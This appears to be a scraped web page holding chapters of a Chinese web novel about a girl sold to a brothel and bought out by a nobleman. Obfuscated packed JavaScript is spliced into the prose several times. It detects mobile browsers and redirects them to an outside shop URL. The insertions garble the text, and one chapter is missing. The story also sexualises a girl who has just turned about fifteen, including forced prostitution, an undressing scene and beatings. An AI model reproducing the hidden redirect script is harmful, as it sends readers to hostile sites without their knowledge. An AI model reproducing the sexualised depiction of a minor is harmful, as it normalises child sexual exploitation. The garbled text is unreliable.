《成为继兄的外室》 1. 抚春楼 三月,桃花簇簇,柳绿花红。吴州自开了春,天气就渐渐暖和起来。花船上的姑娘们早就换上了轻薄的纱衫,也不顾湖上微凉的风,只需喝下几杯酒浑身就热了起来。 都说江南的姑娘出身水乡,那和水做的也没什么区别。这一点,只消看吴州抚春楼的姑娘就知道了。 抚春楼是江南出了名的花楼,那的姑娘不光婀娜多姿,貌若天仙,各个还都多才多艺,深受文人追捧。有点钱的人,都想与抚春楼的姑娘春风一度。 “月凝,你在那发什么呆呢!红莲姑娘要走了,你还不快来。” 听到自己的名字,趴在窗边的少女像是从梦中回过神。她转回身,露出一张透着稚气却姣好的容颜。 喊她的少女也生的活泼明媚,然而望进她朦胧的水眸时,仍旧心跳快了几分,下意识地愣了愣,接着很快回过神,眼中没有丝毫嫉妒。 生在花楼之中,无论多么好的容貌,也只会带来不幸。 “红莲姑娘,这就要走了吗?” 月凝站起身,不太合身的裙摆拖在地上。她抿着唇,拉着身上半旧的罗裙,只觉得心中一阵空洞。 这身衣服,还是她刚入抚春楼时,红莲送给她的。 月凝不是她的本名,她本名姓姜,名叫姜明月。听父亲说,她出生在傍晚,他守在产房外,焦急万分。等到他听到婴儿哭声时,只见一轮明月不知何时已经悄然当空,月光皎皎,落在他脸上。 姜家虽然只是小官,可姜明月依旧被保护得极好。无奈在她十岁时,父亲在洪灾中丢了性命。母亲抱着她,以泪洗面。然而母亲还年轻,在娘家人的劝说下,不久后还是选择了改嫁,抛下她离开了姜家。 离出嫁的年纪还有许久,姜明月本该由姜家族人抚养。结果她的堂哥因为赌博欠了银两,便用她和抚春楼换了银票。 被拉上车的那一晚,她吓得高烧不退,迷迷糊糊喊着爹娘。再睁开眼时,她便到了抚春楼,从此被困在这靡靡之音中,不得出路。 被卖到花楼的姑娘,年纪小时便学习讨好男人如何接客,到了年纪便开始接客,直至容颜不在。运气好的,有恩客愿意为其赎身,就像红莲这般,极少数能够自己偷偷攒够了钱,为自己赎身。 春华拉着姜明月,绕开前面的客人,从后门出了抚春楼,在院门口看见一辆马车。 “红莲姐姐!” 春华顾不得其他,高声喊道。马车的帘子被撩起,露出成熟妩媚的女人。 和往日不同,红莲早就卸去了浓妆,眼角眉梢也散发出平和。姜明月望着她,有些出神。 “春华,月凝,我还以为你们不来送我了。” “都怪月凝动作太慢了。” 红莲笑着摸了摸姜明月的头,见她望着自己,眼中有不舍,不由得也红了眼眶。 “我走后,这抚春楼怕是又少了一个庇护你们的人。” 她拉着月凝的手,见她手心还有被竹板打红的印子,“不要和妈妈作对了。听她的话,将来……将来第一个客人也不会太过不堪。” 就算学的再多也是纸上谈兵。初夜的客人若是遇上差的了,那可是要命的。 红莲知道,春华和月凝看着乖巧,实际上都是有主意的人。一个当着妈妈的面就敢反驳她的话,一个安安静静,却阳奉阴违。 “以后若是能遇上个好人,一定要抓住他,让他带你走。”红莲抓着二人的手,定定地说道,“趁着自己这副皮囊还新鲜,赶紧离了这里,不要再回来。” “红莲姐姐,我怕……”春华声音颤抖。她比姜明月大一点,随时都有可能被妈妈拉去接客。 “别怕,总有一天离开这里的。”红莲摸摸她的脸,“咱们春华这么可爱,一定会遇到带你离开的人的。” “红莲姐姐,你现在幸福吗?”姜明月咬着下唇,眼中泛着水光。 红莲沉默了一会,看着身上那人给自己买的衣服,“嗯。我觉得被人爱护,是一件幸福的事。” 红莲上了车,马车缓缓驶向城外。护院再次将沉沉的木门合上,院中再次恢复一片静谧。 “回去吧。回去晚了,又要被罚了。” 姜明月碰了碰还在出神的春华,见她情绪低落,自己心中也不好受。 尽管她们立刻就回去了,却还是被抚春楼的老鸨发现并且责罚了一顿。 为了不伤姑娘们的皮肉,她叫人一次只用竹板打到皮肤泛红开始冒血丝就停手,等养好了隔天再接着打。 “行了,春华的惩罚就到这里吧。月凝明天接着打。” 老鸨掐住春华的下巴,笑眯眯地打量着她,接着松开手,把她推回地上。 等老鸨带着人扬长而去后,春华红着眼睛,忽然哭了出来。 “完了,完了……妈妈要我接客了……” “别怕。”姜明月挣扎着起身,搂住春华,“没事的。” 她有些苍白地安慰着春华,自己也觉得这些话来来回回说格外苍白无力。 毕竟,她们什么都做不了。 春华只挨了一次打,很快就恢复了行动。只是姜明月连续几日都被竹板打在腰部,到最后她只能趴在床上,动弹不得。 春华每日照顾她,给她端茶递水。姜明月心中感激,却也觉得春华这几日都格外沉默。 她终于忍不住内心的担忧,“春华,你还好吗?” 春华笑了笑,这笑容惨淡无比,“月凝,妈妈让我后日接客了。” “什么!” 姜明月顾不得其他,撑起身子,只觉得伤口火辣辣得痛,却比不过她此刻浑身发凉。 “听说,京中来了贵客。”她闭了闭眼,“成阳王作陪,要来抚春楼……” 成阳王,令吴州花楼的姑娘们闻风丧胆的名字。 他手段残暴,对她们这种轻贱如浮萍的姑娘更是毫无怜惜之意。伺候他的人,第二天身上都没几处好,甚至有的,就这么丢了性命。 姜明月不知怎么安慰她,只紧紧拉着她的手。 “不过成阳王很可能看不上我呢,说不定我是去服侍哪位贵人呢,就话本子写的那样。” 春华故作轻松地说,然而眼中却毫无光彩。 到了晚上,姜明月迷迷糊糊地醒来,就看见她坐在窗边,穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746183|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戴整齐。 “春华?你在做什么?” 春华吓了一跳。她回头,不自在地摇摇头。 “没什么,有些睡不着。现在睡了。” 说完,她快步躺回床上。姜明月望着她的背影,心愈发沉重,却什么都没说。 第二天,她从柜子里取出这几年偷偷攒下的积蓄,拿了一半,放到了春华的枕头下面。 夜里,姜明月被一阵喧哗声吵醒。 “滚起来!” 老鸨把她从床上拖起来。她看起来十分生气,胸脯剧烈起伏。 “春华那死丫头跑了!她跑了!你知不知道她去了哪里?” “我不知道……” “啪!” 老鸨再也顾不得爱惜姜明月娇美的脸,一巴掌扇了下来。 “撒谎!你同她关系那么好,她就睡在你旁边,你会不知道?” “妈妈,我真的不知道。” 姜明月神色震惊,眼中也涌出泪水,“我也没想到她不与我说……” 老鸨端详着她的脸色,见她不似作假,神态楚楚可怜,心中怀疑打消了几分。 可她还是没有消气。 “打!既然你没有看好她,那就给我挨打!” 厚重的木板再次落在她身上。姜明月感觉自己的腰已经麻木一片,再感觉不到痛。 终究是不想一下子赔进两个姑娘,老鸨见姜明月已经快昏过去了,这才收了手。 一整日,她被孤零零地仍在房中,滴水为进。 姜明月望着身旁空荡荡的床铺,并不后悔自己所做的事。 春华逃了。她没有春华那样奋不顾身的勇气,也不知道自己一个人逃出去会是什么下场,只是她知道,春华不会后悔。 突然,房门被推开。外面的灯火透进来,让姜明月不适地捂住眼睛。 “我来给你报个信,你还不知道你的好姐妹摔进河里了吧。”老鸨摇着扇子走了进来,“那河水也就是通水性的人掉进去了,身娇体弱的姑娘掉进去,那还有个活?” 她似乎有些快意,丝毫不觉得自己说的是一条活生生的人命。 姜明月狠狠地盯着她,咬紧牙关,没说话。 “哼。”老鸨也不理她,挥了挥手,让后面的婆子把姜明月架起来。 “既然春华走了,这接待贵客总要有人顶上去才行。本来还想留你段时间的,现在正好,就由你替她去接待吧。” 她让婆子把姜明月带下去梳洗治伤。 姜明月动弹不得,只能任她们摆布,一双杏眼透着早有这一日的麻木。 给她上药的婆子有些不忍心。 她叹了口气,“月凝姑娘啊,其实你也不必太害怕。我偷偷跟你说吧,我在街上,有幸见过这群贵人一面,看着都是贵公子啊。能伺候他们一晚,也是你的福气了。” “福气?” 姜明月冷笑一声。 婆子摇摇头,不再说话。 是不是福气姜明月不知道,只是她不会坐以待毙。 只要不被成阳王看上,若是能得哪位贵人庇佑,接客又有何妨? 2. 接客 姜明月望着镜中的自己出神,任由身后的丫鬟替自己梳妆。 镜中的少女如窗外桃花般娇媚,杏眼含情,肤白似雪。她的唇上被涂上厚厚的口脂,掩住她还有些未脱的稚气。 等梳妆完毕后,姜明月缓缓起身,一袭丝绸的长裙顺着她身体的曲线垂下,娉娉袅袅。 她被送到老鸨面前,老鸨上下打量她,露出满意的神色。 本来还想等她长成再说,今日一见,她眉眼间的青涩倒是更惹人怜爱了。 “行了。你快去那边候着,等贵客来了,好好表现。不然,你知道后果的。”老鸨脸上带着笑容,眼中的警告之意却格外明显。 姜明月忍着腰上的阵痛,朝她福了福身,转身跟着小丫鬟走了。 “月凝姐姐,春华姐姐她真的……” 小丫鬟曾经也和她们一起上过课,此时见姜明月眼中带着沉重,忍不住开口。 “我不知道。”姜明月仰着头,目视前方,眼中的痛意一点点被坚定取代,“我不知道。” 春华为了离开抚春楼做出了自己的选择,她也不能输给她。 为了迎接贵客,抚春楼也是煞费苦心。不仅选了最豪华的包厢,就连接客的姑娘也挤满了屋子,每个人都打扮得花枝招展妩媚动人,只是脸上都没有欣喜之意。 虽然有京中的贵客,可是只一个成阳王的名号就不知吓坏了多少人。 而这贵客是什么性情她们也不知道,万一惹他们不快,那就真是一点活路都没有了。 姜明月将自己缩在墙角,准备静观其变。 夜幕低垂,抚春楼的灯一盏盏亮起,整条街也像活过来一般,热闹非凡。有掌灯的丫鬟推门进来将房中的蜡烛点上,被心急的姑娘拉住。 “我问你,客人来了没有?” 那丫鬟白了她一眼,挣开她的手。 “贵客的行踪我怎么知道,你们等着就是。我还忙着呢。” 平日里她们从来没被这么对待过。那姑娘气得花枝乱颤,却又无可奈何,垂下肩,重新坐了回去。 “真要命。希望成阳王千万别看上我……” 她说出了在场大多数姑娘的心声。只是这事由不得她们做主。随着一阵杂乱的脚步声和说话声,房间的门被打开,老鸨满脸堆笑站在门口。 “姑娘们快走,都去给咱们京中的贵客瞧一瞧。” 姜明月深吸一口气,站在队伍中间,低着头,跟着老鸨走向那厢房。 房门被推开,她们拍成两列,走了进去。 “王爷您是熟人了。您瞧,这里都是我们最好的姑娘了。” 姜明月站在后面,听着老鸨的声音,飞快抬眼扫过房中的人。 坐在右边的人正和老鸨调笑,一身轻浮,不用说,就是成阳王。 其余的人都没开口,只坐在那,便让人觉得不可冒犯。正如那婆子所说的,都是年轻的贵公子。上首的人五官英俊,懒洋洋地靠在靠枕上,眯着眼睛,似乎有些困倦。姜明月深知在场人中定是他地位最高,比成阳王还要高的人,她攀附不起。 她的目光落在了坐在上首之人的左手边的人身上。 姜明月目光一顿。 在在场所有人之中,他似乎最是端方正直。 年轻公子神情淡淡,一双桃花眼微弯,带着温润如玉的浅笑,却面对眼前的莺莺燕燕并没有丝毫垂涎,仿佛这一切都与他无关。他纵然面若冠玉,风光霁月,眼角眉梢却透着矜贵的锋芒,让人不敢靠近。 他对眼前的女色不敢兴趣。得出结论后,虽然感觉有些可惜,但姜明月也不得不放弃他。 剩下的人中似乎只剩一个合适的人选了。他坐在桃花眼公子的身旁,满脸肃杀之气,穿着黑袍,从她们进门开始手就下意识地一直落在腰间的佩剑上。 虽然姜明月有些怕他一言不合就拔出他的剑砍了自己,可是他的脸上虽然严肃,却没有露出排斥她们的意思,倒是有几分可行。 她松了口气,眼睛也不由自主地落在黑袍公子身上,观察着他的一举一动,试图摸索他的喜好。 她完全没意识到有目光不知何时落在了她身上,饶有兴味地看着她在几人中挑挑选选。 “堂弟,几位,你们先挑。”成阳王哈哈大笑着,他身旁几位官员也陪着笑,示意她们上前。 “我们不如你懂,不如就请堂兄替我们选些好的。” 上首之人话中带着讽刺之意,成阳王像是没听出来,反倒有些自得之意。他眯起眼睛,在花枝招展的姑娘们脸上身上来回巡视。姜明月忍着不适,垂下脸,露出白皙脆弱的脖颈。 果然,成阳王把她留下了。 见她留下,老鸨还特意加了一句,“还是月凝姑娘有福,初次接客就能服侍贵客。” 姜明月感受到众人的目光,只觉得一阵难堪。然而这一句话却一下子让成阳王对她没了兴趣。 他挥挥手,让其他人下去,自己随手拉过一个姑娘在身边。 姜明月望着没被选中的人如释重负的表情,又见那个被成阳王选中的姑娘强颜欢笑,笑容比哭还难看,咬了咬牙,按照之前学过的那样,迈步朝黑袍男子走去。 她面如皎月,杏眼中水光潋潋,露出的笑容懵懂又带着几分媚色。 “公子——” 她身形不稳,柔弱地就要跌入男人怀中。 然而谁也没想到,这黑袍公子脸色一变,阴沉至极,闪身避开她,只看着姜明月重重摔在地上。 他握着剑的手还有些蠢蠢欲动,姜明月闭上眼,心中一凉。 完了,果然不行。 就在她觉得我命休矣绝望之际,耳边传来一声轻笑,紧接着,她落入一个温暖的怀抱。 薄凉的公子将她抱起。姜明月睁开眼,就撞入一双桃花眼中。 他的眼中带着笑意,眼底的神色却晦涩不明,让她看不清。 姜明月怔愣,没想到自己会在他的怀中。 高大的男人将少女笼在怀中。上首的人见了,倒是露出稀奇的表情。 “阿诩,我以为你对这些从没兴趣。” 周诩挑眉,只逗着怀中的女孩,见她想要挣脱却怎么也起不了身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746184|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,脸上露出活泼的稚气。 “王爷慎言,我不好男色。” 成王啧了一声,抬手让纠结着要不要去黑袍男子身边的姑娘来自己这。 “他有未婚妻了。人家守身如玉,你们别去烦他。” 姜明月听了,脸上一红。她挣扎着,“多,多谢公子。公子能不能让我,让奴家先起身?” 她声音娇柔,眼中还带着羞赧。周诩感受到手下她肌肤的热意,桃花眼中暗光划过。 他单手拖着下巴,饶有兴味,“小孩,你及笄了吗?” 姜明月脸上表情顿时一僵。 她瞪大眼睛,有些难以置信他会说出这种话。 本以为他对自己动了心思,结果这一句话让姜明月一点想法都没了。 “我及笄了!公子,我,奴家上个月及笄了。” 她着急地解释,接着意识到自己失态,声音又低了下去。 姜明月小心翼翼地去看他的神色,见他目不转睛地望着自己,一双桃花眼熠熠,她有些无措,脸上也不由得发热。 “你想离开这里。” 周诩忽然开口。他的语气不是疑问,而是肯定。姜明月吓了一跳,脸上的血色一下子退去。 男人像是没发现。他微微俯身,朝她压了下来,目光幽深。 “既然想离开,为什么不选我?” 姜明月敏锐地察觉到,眼前之人虽然还带着笑,但是语气却变得有些冰冷。 “公,公子会带我离开吗?” 姜明月鼓起勇气问完,避开他的眼睛,只抓住他的衣袍,缩着身子,试图和周诩拉开距离。 为什么不选他,当然是因为他吓人啊!一看就不是怜香惜玉的人,果然是这样! “你愿意跟我走吗?” 在外人看来,周诩依旧和煦无比,和怀中的女孩虽然亲密,却没什么越界的举动。反观成阳王,已经露出醉意,搂着貌美的姑娘毫无顾忌了。他身旁的官员也哄笑着,拉着身上姑娘的手。 姜明月余光看到这一幕,脸色更加苍白,心中却也愈发坚定。 “愿意。” 她目光灼灼,咬了咬牙,在周诩有些讶异的目光中依偎进他怀里。 既然他愿意碰自己,那便是对自己有几分兴趣吧。 只要离开这里,怎么样都好。 眼前又浮现出红莲离开时的话语和她平和的眉眼,姜明月闭了闭眼。 “公子带奴家走吧,奴家做什么都愿意……” 姜明月的手微微颤抖,她在赌,赌他会不会对自己起念头。 头顶传来一声轻笑,接着姜明月的下巴被他捏住。 周诩让姜明月的脸转过来,指腹抚上她的双唇。 口脂被他一点一点抹开。姜明月愣愣地望着他,不明所以。 周诩垂着眸子,看着自己指腹上染上艳丽的红色,而女孩原本的唇色也渐渐显露。 她的唇被口脂浸过,透着樱色,微微有些水光。周诩指尖轻轻点在她下唇殷红的痣上。 “那不如,看你表现如何?” 4. 外室 从房间出来后,姜明月又恢复了明媚娇俏的模样。 因知道那公子不喜口脂,这次她什么都没有涂。青丝拢在身后,她穿着与那发带同色系的桃粉长裙,鸡心领露出她前胸一片雪白的肌肤。 她来到厢房前,深吸一口气,推开半掩着的房门。 月白锦袍的公子坐在窗边的小塌上,因今日并非公事,他的长发并未全部束起,少了几分冰冷疏离。他垂着眸子,正翻阅着手中的书籍,仿佛此地是他的书房,而不是寻欢作乐的花楼。 姜明月等了片刻,见他没有搭理自己的意思,只得款款上前,长裙在地上旖旎扫过。 “见过公子。” 周诩闻声,抬起头,将书随手合上。姜明月余光瞟过,才发现那书上写的是艳词。 她感觉脸上一热,垂下水眸,不敢再看。 “奴家还以为,公子不会再来了……”她小声嘀咕,想起那晚的事,有些心虚。 周诩倒是不在意。他点点头,“你,叫什么名字?” 姜明月心中一凉,原来他连自己的名字都没记住,不免有些灰心了。 只是她依旧笑容可人,“奴家月凝,公子记住奴家的名字可好?” 周诩对此不置可否。他摇摇头,接着说,“不,我问的是你的本名。” 周诩说完,就见原本还笑容满面的女孩身子一震。 片刻后,她的声音才响起。 “我,我本家姓姜,叫姜明月,‘明月皎皎’的明月。” 姜明月声音里带着艰涩,她有许多年没有说出过这个名字了。 记忆似乎一下子回到了父母还在的那些年。她攥着自己的裙摆,忽然就觉得眼下的自己竟是如此的不堪。 可若是没抓住这一次机会,她或许会坠进更深的泥潭之中。 姜明月嫣然一笑,垂下头,合上双眼,指尖颤颤巍巍地搭上胸前的扣子,稍微一挑,那外衫就敞开,松松垮垮地从肩头滑落。 原本听完她名字后正在思索的周诩一顿。 他望着眼前的场景,眼中的锋芒变得幽深。 外衫退去,她的肌肤白皙,胸前起伏,只余桃红色的布料遮在身上,几条细细的带子绕在身后,似乎轻轻一扯就会断开。 她站起身,一手捂住胸口,似乎还有些难为情。长裙拖在地上,最后与他的月白色长袍交织在一起,一红一白,一浓一淡。 姜明月松开胸前的手,双手抬起,手臂环住他的脖颈,轻轻搭在他肩上。 “公子……” 她双颊绯红,拉长声音唤他。只是周诩只需一低头,就能望见她眼中的水光,感受到身上之人微微颤抖的身体。 他抬手,和外表不太相符,有些粗粝的手划过她脸上娇嫩的肌肤。 姜明月身子顿时僵住,杏眼直勾勾地看着他,眼中露出不知所措。 明明什么都不懂,却又努力做出这副姿态。 周诩低低地笑了起来。 他没想到,自己只是叫老鸨把人找来问话,却被曲解成这个样子。 若是他那向来摆出清高模样的继母瞧见,自己的外甥女露出如此媚态,不知会如何做想了。 原本,他是不愿意来的。 他身为武昌侯世子,年轻有为,受皇帝看重,在朝中也素有美名。若不是父亲武昌侯被继母纠缠,又何必逼他亲自跑这一趟,带回这个八杆子打不着的表妹? 想起继母在他面前摆谱,试图操控他们父子把持武昌侯府,又对亲生的幼弟格外溺爱,将侯府搅得乌烟瘴气,周诩的脸色就阴沉了几分。 现在又要让自己接一个花楼出身的表妹,也不知她在打什么算盘。 他想就此甩手离去,然而目光落在姜明月忐忑又带着希冀的脸上,不知为何,他竟迟疑了,怎么也狠不下心来。 周诩定定地看着她唇上的痣。与那一晚一样,她的唇被酒沾染,带着水光,柔软至极。 他闭了闭眼,敛去眼中的杂念。 “你要跟我走,可是,你可知我姓甚名谁?” “我对公子一见钟情,不管公子是谁,我都愿意跟着公子。” 她倒是不记得自己一开始选择都人不是他而是定国公府的老三了。 周诩也懒得纠正她。与他而言,这女孩就如他别院中的小狗一般,兴冲冲跑来,他若是开心便逗弄一番,若是不开心,丢到一边随它去也就是了。 至于告诉她自己真正的来意……难道他还要上赶着做这个便宜表哥吗? 周诩笑容不变,亲昵地摸了摸她的长发,将她从自己身上抱下去。 “你有这份心,我很开心。” 很开心?那是要带她走的意思吗? 姜明月拉住他的衣摆,杏眼含情,望向周诩。 她小心翼翼地望着他,想问又不敢问,怕自己问多了惹得男人生气。 她不问,周诩也没了耐心。他安抚地对姜明月笑了笑,转身离去,留下少女呆呆望着他的背影。 幸好周诩并没有让她担心太久。 等老鸨笑容满面地走进来时,姜明月就知道,自己可以离开这锦绣堆砌的牢笼了。 “周公子要替你赎身。月凝,你可有福了。” 原来他姓周…… 姜明月勾起嘴角。 老鸨眯起眼睛,盯着姜明月,似乎有些可惜这么一棵摇钱树就这样飞了,然而紧接着想起那厚厚的银票,又眉开眼笑。 “从今往后,抚春楼再没有凝月你这么一号人了。”她清了清嗓子,“你……好自为之吧。” 老鸨让她赶紧收拾行李。姜明月坐在房中,一点点看过房中熟悉的布置。 对抚春楼的留恋,她是没有的。可她在这的这些年,却也不全是痛苦的回忆。她想起春华,想起红莲,想起对她释放过善意的姑娘,眼中有晶莹的水光。 但她最感激的,还是替她赎身的周公子。 “月凝姐姐,你了解替你赎身的这位公子吗?” 小丫鬟偷偷溜进来帮她收拾东西。她纠结许久,还是问了出来。 姜明月摇摇头。 “那你……”就这么跟他走吗?万一他是个如成阳王那般的坏蛋怎么办。 “周公子想要如何对待我,早就可以做了,不需要等到替我赎身之后。” 姜明月自然有自己的考量。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746186|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “终究,我要的不过是个安身之所。” 小丫鬟也有些感慨,也点点头。紧接着,她脸上又露出了八卦的神色。 “那位公子,没有碰你吗?” 她有些好奇,又有些惊讶。毕竟姜明月生得如此容貌,那人怎么会不动心呢? 姜明月脸颊微红,又羞又恼。 “他没有……我也不知为何。” 明明他看自己的眼神,也不是完全没有变化…… “那万一,这公子反悔了怎么办啊?”小丫鬟有些担心,“我听说,有些公子哥要是腻了,会把人再卖了或者送人。月凝姐姐,你可千万要抓住这公子的心!” 姜明月脸色一白。 这种事,她也有所耳闻。 虽然她下意识觉得周公子不是这样的人,可是就如小丫鬟说的,她并不了解他。 看来,她要走的路还很长。 她的心情又沉重起来。可姜明月不愿让小丫鬟替自己担心。 她将柜子里的匣子拿出来。那里面装着她这些年攒下的银子。上次,她给了春华一半。 姜明月将剩下的钱塞进小丫鬟手里。 “月凝姐姐,你,你这是做什么!” “你拿着,日后若有一天我有本事能接你出去,若是没有,你一定要好好的!” 这话,她也想和春华说,可终究没有机会了。 小丫鬟红了眼睛,扑倒她怀里。 她们这样的人,命如草芥,只有拼尽全力活下去。 姜明月离开抚春楼的那天,周诩居然亲自来了。 他靠在马车璧上,依旧拿着一本书,神色悠闲,英气逼人。 这次他看的书就是正常的策论了。 车帘被掀起,阳光从缝隙中漏了进来。他抬头,光洒进他眼中,周诩忍不住闭了闭眼。 他见姜明月上了车,见到他在还有些惊讶,睁着圆圆的眸子,便对她笑笑。 “咱们走吧。” 姜明月呆呆地望着他。忽然,她不知怎么了,心中的酸涩怎么也压不住,眼泪一滴一滴落了下来。 这几日的惊吓,这些年的不安,似乎都在这一刻决堤。她从未想过,被叔叔婶子卖进抚春楼后,还会有人对她说,“咱们走吧”。 周诩明显也是一惊。他坐直身子,不明所以地看着她。 姜明月的眼泪汪汪,什么美人落泪什么梨花带雨早被她忘到了脑后。她抽了抽鼻子,让自己看起来严肃一点。 只是她这故作镇定的神态,在周诩眼里就像他那只明明走不稳,却还要颤颤巍巍,昂首挺胸自己走的小狗。 他觉得有趣,捻了捻手指,忍住想要摸摸她的冲动。 姜明月不知她的想法。她伏到周诩膝上,大着胆子地仰头,望着他的桃花眼,与他对视。 “公子,不管是做妾还是做外室,我都不会给你添麻烦的。” 妾?外室? 周诩眯起眼睛。 从头到尾他都没有说过自己会碰她。 倒不知,她还有这等抱负。 只是,周诩看着眼前全心全意望着自己的女孩,却什么都没有说。 5. 更衣 姜明月见周诩虽然没有动作,却也没有拒绝,便小心翼翼地朝他身边的座位挪去。 她也不站起身,在行进的马车中弯着腰,身子贴着他的双腿移动。 周诩拿着书,手放在大腿上,看着她不知是有意还是无意的动作,目光沉沉。 等坐到他身边了,周诩也没有不悦,姜明月才吐出一口气。 她揪着自己的裙摆,想找点话题,不让周诩觉得自己是个无趣的人。 就算是红莲也说过,不能只用身子吸引男人。更可况,这位周公子甚至还没有被她的身子吸引到。 一想起这一点,姜明月便不免有些丧气,只觉得前路漫漫。 “公子,你在看什么书?我时常见公子拿着书,想必公子是爱看书之人。” 周诩闻声微微偏头,手指按在正看的那一页后,将书合上,露出封面给她看。 “《南朝策论》?公子……是武将吗?” 姜明月念着封面上的字,脸上露出疑惑。她以为,周公子温文尔雅,会是文官才是。不过这样一来,也不难理解他手上的薄茧了。 脑海中一下子浮现出那日他的手落在自己脸上,微微发麻,姜明月锁了锁身子,不敢再想。 听到她的话,周诩翻页的手一顿,忍不住重新认真打量起她。 大约是因为刚哭过,她的眼睛被水洗涤后,清澈又明亮。她的神情不像是为了与他搭话而随口一问,倒像是对这书有几分了解后产生对疑问。 “你倒是熟悉这书。” 他本意是带着赞赏之意,可他说完,姜明月却有些不好意思,垂下头。 “并非是想在公子面前卖弄,只是从前我阿爹与我讲过。” 周诩只知她父母双亡,被卖进花楼,却不知,也无意探知她从前的事。见姜明月主动提起,他便也多听一句。 “你父亲是?” 说到父亲,姜明月脸上露出了骄傲的表情,丝毫没注意到周诩从头到尾都没有回答她的问题。 “我阿爹曾经在殿试拿过三十名,做过吴州地界的知县。” 她父亲当年也是一表人材,谈吐得体,从农家子一路成为一方父母官。又因着外表在一众进士中算是上等,这才被她的外祖父看中,下嫁了女儿。 只可惜,他为了治水,在一场大雨里不幸没了性命。 周诩见她提到父亲神采飞扬的模样,便不难理解为何那晚她喝醉后会念着父亲了。 马车沿着江边行驶了一阵,两边的嘈杂声越来越小,只余零星的鸟叫。终于,马车缓缓停下,有人掀起车帘,将车凳放下。 姜明月不敢在周诩之前先动,然而周诩却示意她先下。 等她从自己身边起身,周诩双眼微阖向后靠去,这才觉得刚才的热意被缓解。 守在外面的人就见一道水蓝色的倩影从车内探身,青葱玉指搭载深色的木沿之上。待她直起身,露出被青丝遮挡的脸庞,更让他们眼前一亮。 随安是周诩的心腹。他站在院门外,见马车上下来的人不是世子,先是一惊,接着便认出这姑娘就是世子要找的人。 她望着院门,眼中露出期待。等世子下车后,她便紧紧跟在他身后,眼睛却忍不住左右转动,好奇地打量着周围的景色。 “世子。”随安上前行礼。 “都安排好了?” “是。表——”表姑娘的房间也收拾出来了。 “那就好。”周诩打断了他,迈步向内走去。 随安一愣,不知道世子为何不让自己说完。他看了一眼世子身后的姜明月,心中有了猜测。 大概,世子心中是不认这位表姑娘的,所以也不让他们这般称呼。 随安收了声。既如此,他也不需要让这院中余下的人知道了。反正过几日他们便要回京了,这些人大多是不会带走的。 姜明月没有注意到这些。她正吃惊于周公子的身份。 没想到周公子居然还是勋贵出身。 她心中突然就没了底气,意识到自己招惹的人来头比她想象中还大。 她呆呆地跟在他身后,望着他修长的背影,却不敢再去拉他的衣摆。 姜明月虽然有自己的主意,却不是一个胆子大的人。 “世子,世子爷您回来了。” 才行至回廊,便有一道悦耳的声音传来。姜明月停下脚步,看见一女子翩然而至。 她穿着鲜亮的绸缎裙子,发髻上簪了一朵琉璃花,花瓣在阳光下晶莹剔透。只是她孤身前来,并不像府中的主子。 姜明月摸摸自己半新的裙子,不知该不该行礼。 而这女子脸上的笑容在见到周诩身后的姜明月时,也僵住了。 她虽然自诩美貌,可是在这少女面前,却是不太够看的。更甚者,这少女明明看着青涩,目光清澈,可偏偏立在那,风姿绰约,竟有一份妩媚之意。 危机感夹杂着嫉恨油然而生,却又很快被她压下。跟在世子身边,她自然知道世子忌讳什么。 她原是先夫人身边的人。夫人病逝后,她便得世子体恤,进了世子院中服侍。虽未让她近身,可世子没赶她走,便足以让她看到希望。 世子不过及冠之年,生得英俊风流,却又文武兼备,洁身自好,如高岭之花不敢攀折。她自然爱慕已久,又怕被世子厌弃,从不敢表露。 她一直在院中,这几日都未能见到世子。今日听说世子回来了,她便匆匆梳妆了一番,前来见他一面。谁知道居然见到世子带回来一位这样的女子。 想到这,这侍女忍不住问道:“世子爷,这位是?” 周诩转头看向她。 她连忙低下头,心跳一阵加速。 然而周诩也没有回答她的问题。 “随安。” 随安连忙上前,“请世子吩咐。” “还需要我吩咐吗?”他语气淡淡,又似在失望叹息。 随安一凛,“青鸳,带……姑娘去后院休息。” 青鸳抬起头,脸上写满了不可置信。 后院……这姑娘果然是要留下来的。 她今日见随安重新收拾后院,以为是世子要来后院歇息,心中还有隐隐的期待。没想到,这居然都是为这姑娘准备的。 她想去看周诩的表情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 